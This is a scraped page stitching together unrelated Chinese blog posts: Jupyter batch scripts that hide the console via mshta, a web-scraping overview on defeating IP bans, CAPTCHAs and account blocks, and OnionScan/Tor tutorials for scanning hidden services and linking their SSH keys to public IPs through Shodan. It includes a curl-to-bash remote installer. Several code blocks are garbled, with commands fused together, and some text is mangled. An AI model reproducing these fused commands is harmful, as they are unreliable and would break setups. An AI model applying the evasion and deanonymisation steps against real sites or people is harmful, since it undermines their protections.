sudo service jupyter.init stop

设置开机启动

sudo update-rc.d jupyter.init defaults

设置好后重启设备

三、WINDOWS脚本启动 jupyter notebok

在桌面新建文本文件 “jupyter.bat” (以bat结尾就行),输入以下代码,倒数第二行的D:\Jupyter_workspace修改为你想要作为根目录的路径

%隐藏cmd窗口%
@echo off
if “%1″==”h” goto begin
start mshta vbscript:createobject(“wscript.shell”).run(“””%~nx0″” h”,0)(window.close)&&exit
:begin
cd /d D:\Jupyter_workspace
jupyter notebook
双击该文件即可启动jupyter notebok,并且不会弹出命令行
————————————————

脚本关闭 jupyter notebok
新建文本文件 “Kill Jupyter.bat” (以bat结尾就行),输入以下代码:

%隐藏cmd窗口%
@echo off
if “%1″==”h” goto begin
start mshta vbscript:createobject(“wscript.shell”).run(“””%~nx0″” h”,0)(window.close)&&exit
:begin
taskkill /f /im jupyter-notebook.exe
双击该文件即可关闭 jupyter notebok
————————————————

见过的最全的网络爬虫干货总结!

·  阅读 41156

这可能是你见过的最全的网络爬虫干货总结!

昨天的时候我参加了掘金组织的一场 Python 网络爬虫主题的分享活动,主要以直播的形式分享了我从事网络爬虫相关研究以来的一些经验总结,整个直播从昨天下午 1 点一直持续到下午 5 点,整整四个小时。

整个分享分为三个阶段,第一阶段先介绍了自己从大学以来从事编程开发以来的相关历程,第二阶段是正式的网络爬虫分享流程,详细总结了网络爬虫开发的一些要点,第三阶段是解答一些提问,并抽奖送出一些礼品。所以在这里我会对我昨天分享的主要内容做下总结,另外还会附上视频回放、PPT,另外还会为大家送上一些福利,希望大家可以支持!

总括

整个分享的主题叫做《健壮高效的网络爬虫》,本次分享从抓取、解析、存储、反爬、加速五个方面介绍了利用 Python 进行网络爬虫开发的相关知识点和技巧,介绍了不同场景下如何采取不同措施高效地进行数据抓取的方法,包括 Web 抓取、App 抓取、数据存储、代理选购、验证码破解、分布式抓取及管理、智能解析等多方面的内容,另外还结合了不同场景介绍了常用的一些工具包,全部内容是我在从事网络爬虫研究过程以来的经验精华总结。

爬取

对于爬取来说,我们需要学会使用不同的方法来应对不同情景下的数据抓取任务。

爬取的目标绝大多数情况下要么是网页,要么是 App,所以这里就分为这两个大类别来进行了介绍。

对于网页来说,我又将其划分为了两种类别,即服务端渲染和客户端渲染,对于 App 来说,我又针对接口的形式进行了四种类别的划分——普通接口、加密参数接口、加密内容接口、非常规协议接口。

所以整个大纲是这样子的:

  • 网页爬取
    • 服务端渲染
    • 客户端渲染
  • App 爬取
    • 普通接口
    • 加密参数接口
    • 加密内容接口
    • 非常规协议接口

爬取 / 网页爬取

服务端渲染的意思就是页面的结果是由服务器渲染后返回的,有效信息包含在请求的 HTML 页面里面,比如猫眼电影这个站点。客户端渲染的意思就是页面的主要内容由 JavaScript 渲染而成,真实的数据是通过 Ajax 接口等形式获取的,比如淘宝、微博手机版等等站点。

服务端渲染的情况就比较简单了,用一些基本的 HTTP 请求库就可以实现爬取,如 urllib、urllib3、pycurl、hyper、requests、grab 等框架,其中应用最多的可能就是 requests 了。

对于客户端渲染,这里我又划分了四个处理方法:

  • 寻找 Ajax 接口,此种情形可以直接使用 Chrome/Firefox 的开发者工具直接查看 Ajax 具体的请求方式、参数等内容,然后用 HTTP 请求库模拟即可,另外还可以通过设置代理抓包来查看接口,如 Fiddler/Charles。
  • 模拟浏览器执行,此种情形适用于网页接口和逻辑较为复杂的情况,可以直接以可见即可爬的方式进行爬取,如可以使用 Selenium、Splinter、Spynner、pyppeteer、PhantomJS、Splash、requests-html 等来实现。
  • 直接提取 JavaScript 数据,此种情形适用于真实数据没有经过 Ajax 接口获取,而是直接包含在 HTML 结果的某个变量中,直接使用正则表达式将其提取即可。
  • 模拟执行 JavaScript,某些情况下直接模拟浏览器执行效率会偏低,如果我们把 JavaScript 的某些执行和加密逻辑摸清楚了,可以直接执行相关的 JavaScript 来完成逻辑处理和接口请求,比如使用 Selenium、PyExecJS、PyV8、js2py 等库来完成即可。

爬取 / App 爬取

对于 App 的爬取,这里分了四个处理情况:

  • 对于普通无加密接口,这种直接抓包拿到接口的具体请求形式就好了,可用的抓包工具有 Charles、Fiddler、mitmproxy。
  • 对于加密参数的接口,一种方法可以实时处理,例如 Fiddler、mitmdump、Xposed 等,另一种方法是将加密逻辑破解,直接模拟构造即可,可能需要一些反编译的技巧。
  • 对于加密内容的接口,即接口返回结果完全看不懂是什么东西,可以使用可见即可爬的工具 Appium,也可以使用 Xposed 来 hook 获取渲染结果,也可以通过反编译和改写手机底层来实现破解。
  • 对于非常规协议,可以使用 Wireshark 来抓取所有协议的包,或者使用 Tcpdump 来进行 TCP 数据包截获。

以上便是爬取流程的相关分类和对应的处理方法。

解析

对于解析来说,对于 HTML 类型的页面来说,常用的解析方法其实无非那么几种,正则、XPath、CSS Selector,另外对于某些接口,常见的可能就是 JSON、XML 类型,使用对应的库进行处理即可。

这些规则和解析方法其实写起来是很繁琐的,如果我们要爬上万个网站,如果每个网站都去写对应的规则,那么不就太累了吗?所以智能解析便是一个需求。

智能解析意思就是说,如果能提供一个页面,算法可以自动来提取页面的标题、正文、日期等内容,同时把无用的信息给刨除,例如上图,这是 Safari 中自带的阅读模式自动解析的结果。

对于智能解析,下面分为四个方法进行了划分:

  • readability 算法,这个算法定义了不同区块的不同标注集合,通过权重计算来得到最可能的区块位置。
  • 疏密度判断,计算单位个数区块内的平均文本内容长度,根据疏密程度来大致区分。
  • Scrapyly 自学习,是 Scrapy 开发的组件,指定⻚页⾯面和提取结果样例例,其可⾃自学习提取规则,提取其他同类⻚页⾯面。
  • 深度学习,使⽤用深度学习来对解析位置进⾏行行有监督学习,需要⼤大量量标注数据。

如果能够容忍一定的错误率,可以使用智能解析来大大节省时间。

目前这部分内容我也还在探索中,准确率有待继续提高。

存储

存储,即选用合适的存储媒介来存储爬取到的结果,这里还是分为四种存储方式来进行介绍。

  • 文件,如 JSON、CSV、TXT、图⽚、视频、⾳频等,常用的一些库有 csv、xlwt、json、pandas、pickle、python-docx 等。
  • 数据库,分为关系型数据库、非关系型数据库,如 MySQL、MongoDB、HBase 等,常用的库有 pymysql、pymssql、redis-py、pymongo、py2neo、thrift。
  • 搜索引擎,如 Solr、ElasticSearch 等,便于检索和实现⽂本匹配,常用的库有 elasticsearch、pysolr 等。
  • 云存储,某些媒体文件可以存到如七⽜牛云、又拍云、阿里云、腾讯云、Amazon S3 等,常用的库有 qiniu、upyun、boto、azure-storage、google-cloud-storage 等。

这部分的关键在于和实际业务相结合,看看选用哪种方式更可以应对业务需求。

反爬

反爬这部分是个重点,爬虫现在已经越来越难了,非常多的网站已经添加了各种反爬措施,在这里可以分为非浏览器检测、封 IP、验证码、封账号、字体反爬等。

下面主要从封 IP、验证码、封账号三个方面来阐述反爬的处理手段。

反爬 / 封 IP

对于封 IP 的情况,可以分为几种情况来处理:

  • 首先寻找手机站点、App 站点,如果存在此类站点,反爬会相对较弱。
  • 使用代理,如抓取免费代理、购买付费代理、使用 Tor 代理、Socks 代理等。
  • 在代理的基础上维护自己的代理池,防止代理浪费,保证实时可用。
  • 搭建 ADSL 拨号代理,稳定高效。

反爬 / 验证码

验证码分为非常多种,如普通图形验证码、算术题验证码、滑动验证码、点触验证码、手机验证码、扫二维码等。

  • 对于普通图形验证码,如果非常规整且没有变形或干扰,可以使用 OCR 识别,也可以使用机器学习、深度学习来进行模型训练,当然打码平台是最方便的方式。
  • 对于算术题验证码,推荐直接使用打码平台。
  • 对于滑动验证码,可以使用破解算法,也可以模拟滑动。后者的关键在于缺口的找寻,可以使用图片比对,也可以写基本的图形识别算法,也可以对接打码平台,也可以使用深度学习训练识别接口。
  • 对于点触验证码,推荐使用打码平台。
  • 对于手机验证码,可以使用验证码分发平台,也可以购买专门的收码设备,也可以人工验证。
  • 对于扫二维码,可以人工扫码,也可以对接打码平台。

反爬 / 封账号

某些网站需要登录才能爬取,但是一个账号登录之后请求过于频繁会被封号,为了避免封号,可以采取如下措施:

  • 寻找手机站点或 App 站点,此种类别通常是接口形式,校验较弱。
  • 寻找无登录接口,尽可能寻找⽆无需登录即可爬取的接口。
  • 维护 Cookies 池,使⽤用批量账号模拟登录,使⽤时随机挑选可用 Cookies 使⽤即可,实现:https://github.com/Python3WebSpider/CookiesPool。

加速

当爬取的数据量非常大时,如何高效快速地进行数据抓取是关键。

常见的措施有多线程、多进程、异步、分布式、细节优化等。

加速 / 多线程、多进程

爬虫是网络请求密集型任务,所以使用多进程和多线程可以大大提高抓取效率,如使用 threading、multiprocessing 等。

加速 / 异步

将爬取过程改成非阻塞形式,当有响应式再进行处理,否则在等待时间内可以运行其他任务,如使用 asyncio、aiohttp、Tornado、Twisted、gevent、grequests、pyppeteer、pyspider、Scrapy 等。

加速 / 分布式

分布式的关键在于共享爬取队列,可以使用 celery、huey、rq、rabbitmq、kafka 等来实现任务队列的对接,也可以使用现成的框架 pyspider、Scrapy-Redis、Scrapy-Cluster 等。

加速 / 优化

可以采取某些优化措施来实现爬取的加速,如:

  • DNS 缓存
  • 使用更快的解析方法
  • 使用更高效的去重方法
  • 模块分离化管控

加速 / 架构

如果搭建了分布式,要实现高效的爬取和管理调度、监控等操作,我们可以使用两种架构来维护我们的爬虫项目。

  • 将 Scrapy 项目打包为 Docker 镜像,使用 K8S 控制调度过程。
  • 将 Scrapy 项目部署到 Scrapyd,使用专用的管理工具如 SpiderKeeper、Gerapy 等管理。

以上便是我分享的全部内容,所有的内容几乎都展开说了,一共讲了一个半小时。

上面的文字版的总结可能比较简略,非常建议大家如有时间的话观看原版视频分享,里面还能看到我本人的真面目哦,现在已经上传到了 Bilibili,链接为:www.bilibili.com/video/av343…,欢迎大家观看学习和收藏~

另外对于这部分内容,其实还有我制作的更丰富的思维导图,预览图如下:

点击图片,获取爬虫思维导图高清图片

另外还有原演讲稿我也一并分享给大家,都放在我的公众号了。

获取方式如下:

  • 回复”爬虫讲稿“,获取本次分享的 PPT 内容。

暗网系列之:利用Python + OnionScan 打造自己的安全威胁情报平台(一)

2017-08-02 16:40

 

MottoIN暗网系列专题的目标,是让大家更加全面、更深入的了解暗网,这当中自然涉及安全威胁情报分析平台的话题。

OnionScan 是一个用来在暗网中寻找潜在的泄露数据的利器,最新版本中还加入了一些炫酷的可视化效果,尽管项目的管理团队并没有公布实现深度扫描的技术细节,也没有说明那些看起来非常酷的可视化效果是如何生成的。

不过,没关系,接下来,就让我们一起尝试使用 Python + OnionScan完成安全威胁情报平台的搭建,探讨如何在暗网中进行深度探索、寻找感兴趣的信息、分析有用的情报,顺便也提高一下数据可视化的技能。

通常让我们感到恐怖的,不是看不到的东西,而是看到了却不明白的东西”,深入暗网深处,看看能找到那些可怕的/宝贵的信息。

第一部分(Part  1)

流程简介

初始工作的简单流程,如下所述:

  1. 拥有一台可以7*24小时运行的服务器,扫描工作需要花费大量的时间(自己有服务器的话最好,练手的话也可以使用云服务器);
  2. 在服务器上运行Tor 软件;
  3. 安装 OnionScan;
  4. 编写Python脚本,处理扫描工作,并将扫描结果进行数据管理;
  5. Python进阶,优化数据分析结果的可视化展示效果

搭建合适的服务器及运行环境

第一步,创建服务器环境。推荐使用Ubuntu16.4(下文中也将以此作为演示环境)。根据自己的主机环境,选择合适的连接到服务器的方式。

  • windows系统:Putty;
  • Mac OS X或Linux系统:直接使用ssh命令(sshroot@IPADDRESS)

第二步,配置服务器的环境。连接到Ubuntu服务器上,运行如下命令:

apt-get update

apt-get install tor git bison libexif-dev

apt-get install python-pip

pip install stem

第三步:安装Go语言的运行环境。OnionScan是用Go语言编写的,参考Ryan Frankel 《http://www.hostingadvice.com/how-to/install-golang-on-ubuntu/》 的教程,在服务器上执行下列命令:

bash<<(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)

[[ -s “$HOME/.gvm/scripts/gvm” ]] && source “$HOME/.gvm/scripts/gvm”

source /root/.gvm/scripts/gvm

gvm install go1.8–binary

gvm use go1.8

也可以通过离线下载的方式进行安装:https://golang.org/dl/

第四步,安装OnionScan。命令如下:

go get github.com/s-rah/onionscan

go install github.com/s-rah/onionscan

完成上述步骤后,在终端输入:

onionscan

如果返回“onionscan”的命令行使用信息,恭喜你,onionscan已经安装成功了;

关闭终端后,如果发现不能运行onionscan的话,可以在终端输入下列命令解决该问题:

gvm use go1.8

第五步,修改Tor的配置

为了便于我们编写的Python脚本可以请求一个新的标识(一个新的IP地址),在这里需要对Tor的配置做一些小小的改动。后边在扫描的过程中如果遇到障碍,会用到这部分的内容。

在终端运行如下命令:

tor —hash-passwordYourPasswd

可以根据自己的喜好,设置“YourPasswd”的内容。这时你会接收到一串输出,把它们复制下来,然后在终端执行下来命令:

vim -w /etc/tor/torrc

此时会打开 torrc文件的编辑视图,跳转到文本底部,将之前复制的那串字符粘贴过来,效果类似下图所示:

 

完成之后,保存退出,在终端输入下来命令用于重启Tor服务:

service tor restart

至此,服务器环境搭建工作基本上就已经完成了。(不算太难,不是吗?)

在正式开始编写Python代码之前,还需要添加感兴趣的.onion地址清单,这样才能在暗网中顺利的执行扫描任务。例如:

wget https://raw.githubusercontent.com/automatingosint/osint_public/master/onionrunner/onion_master_list.txt

Tips:使用SSH连接到远程服务器后,执行一些扫描任务比较耗时,这种情况下,可以使用 Screen 命令,创建多个虚拟终端,在虚拟终端里执行命令,断开之前先把 Screen 挂起,重新启用时可以直接连接到之前的Screen上。

编写Python脚本,封装OnionScan

OnionScan是一款伟大的工具,为了能够更好的利用它为我们服务,需要对其进行封装,何况Tor的连接是出了名的不稳定,我们需要能够杀掉一个卡住的扫描进程,也需要能够从Tor网络中抓取新的IP地址。所以,是事后运用你的Python编码能力了。打开一个新的Python文件,并将其命名为onionrunner.py(完整代码参见文章末尾的更多资料部分)

 

第1-12行:载入脚本中所需的模块;

第14-15行:初始化两空链表,分别保存我们完整的 onion列表和正在进行的会话的onion扫描列表。

第17-18行:利用一个事件对象协调两个将被执行的线程。必须首先设置 Event对象,以便默认情况下主线程可以执行。。

接下来还需要构建一些辅助函数,这些函数将处理 main onions列表,并确保能够继续将新发现的onions添加到列表:

 

第23行:定义get_onion_list函数,主要用于加载我们的扫描清单。

第26-33行:一个判断,如果onion_master_list.txt文件存在(26),那么打开它,并祖杭阅读,将结果添加到stored_onions(30);如果文件不存在,则输出一条错误消息(32)并退出脚本(33)。

第35-37行:简单地输出加载的onions的总数(35),Return。

第41行:定义store_onion函数,它接受一个参数(onion),这是我们希望添加到master列表中的隐藏服务(onion网址)。

第45-46行:打开onion_master_list.txt列表文件(45),然后写入隐藏服务的onion地址(46)。

现在我们将实施与运行onionscan二进制做实际的扫描工作处理功能。保持你的编辑器添加代码:

接下来,将处理与运行onionscan二进制文件执行扫描任务相关的代码。

 

更多源代码的分析,感兴趣的话,可以自行阅读。

终端下,运行一下殒命,就可以开始扫描工作了:

python onionrunner.py

此时,你会看到如下所示的输出:

# python onionrunner.py

[*] Total onions for scanning: 7182

[*] Running 0 of 7182.

[*] Onionscanningnfokjthabqzfndmj.onion

[*] Running 1 of 7182.

[*] Onionscanning gmts3xxfrbfxdm3a.onion

检查 onionscan_results 目录,你会看到新增的一些JSON 文件,这些文件一扫描的隐藏服务的地址命名。让它继续运行吧,如果你真的想收集这些目标的信息的话。当然了,如果你使用了本文中所列的Onions列表,那么可以选择直接下载扫描结果:

https://github.com/automatingosint/osint_public/tree/master/onionrunner

利用Shodan搜索引擎扩大暗网 OSNIT的能力

Shodan 搜索引擎可以说是安全专业人员的最常用工具之一,它的搜索能力极其强大,所以,我们需要想办法把它集成到我们的威胁情报分析平台中。幸运的是,Shodan提供了Python接口,这便于我们利用其API进行一些低水平的交互。

首先,安装Shodan。

Windows: pip install shodan

Mac/Linux: sudo pip install shodan

一般情况下,人们不会将同一台服务器同时托管在“公共网络”和“暗网”中,但是也不能排除这种可能。接下来,我们就以检索暗网中的SSH密钥信息为例,进行测试,看看能否碰撞出一些奇妙的结果。

依照咱们的惯例,依然需要编写一个Python脚本来完成此项工作。这一次我们创建一个名为 “sshkeys.py”的脚本(下载链接参见文末更多资料部分):

sshkeys.py 脚本的代码如下图所示:

 

第3行:加载了shodan 模块;

第19-20行:如果扫描结果中包含一个 SSH 密钥,打印出一个友好的提示;

第22-25行:如果 key_to_hosts字典里已经包含了该SSH 密钥(22),添加当前隐藏的服务并存储在密钥列表里(23)。这里之所以使用一个密钥列表,是因为存在同一个SSH 密钥关联多个隐藏服务的情况,这确实很有趣。如果key_to_hosts 字典中没有该SSH 密钥,那么用一个新的列表初始化字典,并添加当前的隐藏服务(25);

第27-35行:当上边的循环代码遍历完所有的JSON文件,我们需要针对每个密钥做一个快速的分析,判断它是否被多个隐藏服务共享。

第37-50行:利用 Shodan 的API,检查密钥的指纹信息(公共网络中的IP地址)。

你可以使用下列命令,直接运行该脚本:

# python sshkeys.py

至此,你可以去检索一下这些公共网络中的IP地址与暗网中隐藏服务的潜在联系了。当然你也可以使用现成的威胁情报分析工具来自动化完成分析工作。

结论

关于暗网中情报的收集和分析,有很多有趣的工作可以去做。

本文只是一个开始,我们希望读者能更多的从信息安全和隐私保护的角度看待暗网,走进暗网,利用智能的情报分析,帮助我们更多地保护客户。

更多资料

http://www.hostingadvice.com/how-to/install-golang-on-ubuntu/

https://raw.githubusercontent.com/automatingosint/osint_public/master/onionrunner/onionrunner.py

https://github.com/automatingosint/osint_public/blob/master/onionrunner/analysis/sshkeys.py

https://www.hunch.ly

前端 onionscan + tor 实现暗网爬取

trainer-co · 2019年12月11日 · 22 次阅读

1、安装相关依赖

123456
yum update
yum install git bison libexif-devyum install toryum install epel-release
yum install python-pippip install stem

2、 安装 go 语言环境

12345678910111213141516
wget https://dl.google.com/go/go1.12.6.linux-amd64.tar.gz# 解压tar -C /usr/local -xzf go1.12.6.linux-amd64.tar.gz# 创建go项目路径mkdir -p /root/gopath# 添加环境变量vi /etc/profile# 添加内容GOROOT=/usr/local/goGOPATH=/root/gopath
export GOROOT
export GOPATH
export PATH=$PATH:$GOPATH/bin:$GOROOT/bin# 使环境变量生效
source /etc/profile

 

3、安装 onionscan

12345678910
# 由于golang.org被墙,不能直接下载文件,所以需要从镜像仓库手动下载相应的依赖文件
mkdir -p /root/gopath/src/golang.org/x

cd /root/gopath/src/golang.org/x/git clone https://github.com/golang/net.git git clone https://github.com/golang/crypto.gitgit clone https://github.com/golang/sys.git# 安装onionscan
go get github.com/s-rah/onionscan
go install github.com/s-rah/onionscan

在命令行输入onionscan返回相应的命令信息表示 onionscan 安装成功

4、Tor 的配置

由于 onionscan 是通过 tor 代理进行访问暗网,而 tor 在国内不能直接连接上,所以需要进行代理配置

1234567891011121314
# 编辑tor配置文件vi /etc/tor/torrc# 在文件最后添加Socks4Proxy 192.98.203.92:1088 #socks4代理地址,也支持http代理和sock5代理
# tor不能用root用户运行,创建一个用户来运行toruseradd tor# 创建tor运行所需的目录,以及赋予权限mkdir -p /run/tor
chown -R tor:tor /run/tor
# 用tor用户登录su tor# 启动tortor

出现如下图输出,表示 tor 启动成功

 

onionscan 的使用

123456
# 创建onionscan数据存储目录mkdir -p /opt/onionscandb
# 使用onionscan进行爬取onionscan -dbdir /opt/onionscandb  -torProxyAddress 127.0.0.1:9050 -depth 1 -jsonReport -verbose wallstyizjhkrvmj.onion

参数说明:

  1. -dbdir 指定爬取数据存储目录,未指定情况下会保存在当前路径下
  2. -torProxyAddress 使用 tor 代理
  3. -depth 指定扫描暗网的深度
  4. -jsonReport 扫描结果生成 json 报告
  5. -verbose 控制台输出详细信息

扫描结果效果图

 

参考资料

  1. 暗网系列之:利用 Python + OnionScan 打造自己的安全威胁情报平台
  2. 用好 OnionScan,自己动手制作暗网爬虫